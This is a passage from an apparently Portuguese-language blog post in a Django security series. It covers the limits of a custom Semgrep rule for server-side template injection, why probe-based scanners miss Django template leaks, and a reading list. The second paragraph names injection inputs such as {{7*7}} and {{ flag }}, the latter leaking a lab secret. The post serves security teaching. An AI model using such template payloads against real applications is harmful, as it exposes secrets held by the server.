A regra tem uma limitação honesta — a mesma que a regra de XSS carrega. Por ser sintática, ela só olha para o formato da chamada à sua frente; nunca rastreia de onde veio o argumento. Mova o literal uma linha acima e passe-o por nome — t = "{{ v }}"; Template(t) — e a regra vê Template(t), uma chamada sobre uma variável, então o pattern-not de literal deixa de casar e ela aponta um falso positivo em código que na verdade é seguro. Uma análise de fluxo de dados (taint) seguiria essa atribuição e o liberaria; uma regra de padrão não consegue, e fingir o contrário seria desonesto — por isso o limite está escrito na fixture semgrep --test da regra como um caso todook documentado, uma fronteira conhecida e testada, não uma surpresa. No lab isso nunca acontece: ambas as views compilam o template inline, onde a regra é exata. E o CI reexecuta a fixture e o assert dispara-na-vulnerável / silencioso-na-segura a cada commit.
Aqui deliberadamente não há DAST, e a razão é a tese inteira do post. O SSTI tem scanners de linha de comando capazes — SSTImap, tplmap, Nuclei — mas cada um deles confirma um acerto fazendo o motor avaliar uma sonda como {{7*7}}. A DTL nunca a avalia, então todos reportam não injetável contra este lab mesmo enquanto {{ flag }} leva o segredo pela porta da frente. DAST por sonda de expressão é cego ao SSTI de classe-divulgação da DTL; ele só vira uma captura real contra um motor que avalia expressões — um backend Jinja2 — que este lab não inclui. As execuções capturadas de Bandit, Semgrep e da regra personalizada estão versionadas em scans/ para você ler exatamente o que cada uma reportou; o tests.py continua sendo a prova executável do vazamento em si.
O Post 3 adiciona a contraparte server-side ao quadro de injeção. SQL Injection atinge o banco de dados; XSS atinge o DOM do navegador; SSTI atinge o motor de templates — e pelo grafo de objetos Python, o OS do servidor. A linguagem de templates do Django é segura por design no caso normal; o perigo surge quando os desenvolvedores contornam esse design chamando Template(user_input). A lição que tirei: trate qualquer chamada a Template() com um argumento não literal da mesma forma que cursor.execute(raw_sql) — um achado que precisa ser substituído por um padrão seguro antes de ir para produção.
O Post 4 passa do motor de templates para o próprio shell do OS — subprocess e os.system, a armadilha do shell=True, e como entrada do usuário que alcança a camada de comandos do OS atinge RCE de forma ainda mais direta.
Leitura Complementar
- django-security-lab — o lab executável deste post (
labs/post_03_ssti/) - A regra Semgrep personalizada deste post —
rules/ssti.yaml(com sua fixture de teste,rules/ssti.py) - Django Docs — A linguagem de templates do Django
- Jinja2 Docs — Sandbox
- PortSwigger Web Security Academy — Server-side template injection
- OWASP Testing Guide — OTG-INPVAL-018: Testing for Server-Side Template Injection
- MITRE ATT&CK — T1059.006 Command and Scripting Interpreter: Python
- VMware VMSA-2022-0011 — CVE-2022-22954
- OWASP A03:2021 — Injection
Próximo na série → Post 4: Injeção de Comandos OS: subprocess, os.system e os Perigos de shell=True